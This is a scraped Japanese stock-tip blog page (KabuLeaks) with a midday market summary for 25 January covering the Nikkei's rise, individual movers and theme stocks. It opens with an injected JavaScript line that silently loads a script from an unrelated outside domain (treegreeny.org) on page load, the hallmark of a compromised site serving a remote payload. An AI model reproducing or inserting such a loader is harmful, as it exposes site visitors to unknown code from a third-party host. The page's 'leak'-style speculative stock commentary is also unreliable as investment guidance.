;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/25 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【1/25 前引け】

前場の日経平均株価は211円高と大幅続伸。先週末の欧米株高、円安基調などから買いが先行。一巡後は先週末の大幅上昇、本日のGUスタートからの戻り売りも出たと思われ一時マイナス転換する場面もあったがその後は再びプラス圏に浮上すると上げ幅を拡大させた。業種別では、全33業種が上昇し、食料品、鉱業、鉄鋼、その他金融業などが値上がり率上位に。

個別では、「レイ展」開催の思惑、短期筋の仕掛けなどが噂される【4317】レイがストップ高。ZMPの思惑の【8462】フューチャベンチャーや特段の材料は確認されていないものの、【6258】平田機工などが大幅上昇となっている。一方、先週末に業績下方修正のあった【9424】日本通信が大幅下落で値下がり率トップに。同じく16年7月期の上期・通期業績予想を下方修正の発表した【6040】日本スキー場開発、約500万台の追加リコールの報道があった【7312】タカタなども下落率上位に。

テーマ株からは新規に人気化したAR・VR関連が先週末に続き上昇し、【4312】サイバネットシステム、【6629】テクノホライゾン・ホールディングス、【6736】サン電子、【3914】ジグソー、【6731】ピクセラなどストップ高、大幅高の銘柄が目立っているほか、「民泊」2段階で全国解禁の方針と報じられ関連銘柄【8889】アパマン、【3300】AMBITION、【1435】インベスターズクラウド、【8946】ASIAN STAR、【3236】プロパストなど軒並み上昇。自動運転の【4667】アイサン、【3663】アートスパーク、ロボット関連の【7779】CYBERDYNE、【3444】菊池製作所なども強い動きに。

日欧の金融緩和期待や原油相場の落ち着きを背景に、買戻しの動きが続いているがそろそろ一部利食い売りも検討。今週はFOMCと日銀金融政策決定会合控えており、買い一巡後は様子見ムードとなる可能性も。日経平均は先週末からの上昇で既に1000円超の上昇。これまでが売られ過ぎだった面はあるが細かく利食い優先。後場から明日にかけてはここからの方向感をちょっと探ったほうが無難かと思う。